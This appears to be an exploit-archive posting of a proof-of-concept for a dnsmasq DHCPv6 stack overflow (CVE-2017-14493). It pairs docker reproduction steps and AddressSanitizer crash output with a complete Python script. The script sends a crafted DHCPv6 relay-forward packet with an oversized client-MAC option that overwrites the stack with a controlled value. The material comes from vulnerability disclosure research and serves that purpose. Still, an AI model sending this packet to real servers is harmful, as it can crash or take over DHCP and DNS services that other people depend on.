Dnsmasq Stack-Based Overflow
Posted on 03 October 2017
''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14493.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 1) Build the docker and open two terminals docker build -t dnsmasq . docker run --rm -t -i --name dnsmasq_test dnsmasq bash docker cp poc.py dnsmasq_test:/poc.py docker exec -it <container_id> bash 2) On one terminal start dnsmasq: # /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 8.8.4.4#53 dnsmasq: read /etc/hosts - 7 addresses 3) On another terminal start the PoC: # python /poc.py ::1 547 [+] sending 70 bytes to ::1:547 4) Dnsmasq will output the following: Segmentation fault (core dumped) ==33==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcbef81470 at pc 0x0000004b5408 bp 0x7ffcbef81290 sp 0x7ffcbef80a40 WRITE of size 30 at 0x7ffcbef81470 thread T0 #0 0x4b5407 in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b5407) #1 0x575d38 in dhcp6_maybe_relay /test/dnsmasq/src/rfc3315.c:211:7 #2 0x575378 in dhcp6_reply /test/dnsmasq/src/rfc3315.c:103:7 #3 0x571080 in dhcp6_packet /test/dnsmasq/src/dhcp6.c:233:14 #4 0x544a82 in main /test/dnsmasq/src/dnsmasq.c:1061:2 #5 0x7f93e5da62b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) Address 0x7ffcbef81470 is located in stack of thread T0 at offset 208 in frame #0 0x57507f in dhcp6_reply /test/dnsmasq/src/rfc3315.c:78 This frame has 1 object(s): [32, 208) 'state' <== Memory access at offset 208 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/test/dnsmasq/src/dnsmasq+0x4b5407) in __asan_memcpy Shadow bytes around the buggy address: 0x100017de8230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de8260: f1 f1 f1 f1 00 00 f3 f3 00 00 00 00 00 00 00 00 0x100017de8270: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00 =>0x100017de8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 0x100017de8290: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100017de82a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100017de82b0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x100017de82c0: 00 00 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 0x100017de82d0: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==33==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwind <gynvael@google.com> # Ron Bowes - Xoogler :/ from struct import pack import sys import socket def send_packet(data, host, port): print("[+] sending {} bytes to {}:{}".format(len(data), host, port)) s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data)) if s.sendto(data, (host, port)) != len(data): print("[!] Could not send (full) payload") s.close() def u8(x): return pack("B", x) def u16(x): return pack("!H", x) def gen_option(option, data, length=None): if length is None: length = len(data) return b"".join([ u16(option), u16(length), data ]) if __name__ == '__main__': assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0]) pkg = b"".join([ u8(12), # DHCP6RELAYFORW u16(0x0313), u8(0x37), # transaction ID b"_" * (34 - 4), # Option 79 = OPTION6_CLIENT_MAC # Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16 gen_option(79, "A" * 74 + pack("<Q", 0x1337DEADBEEF)), ]) host, port = sys.argv[1:] send_packet(pkg, host, int(port))
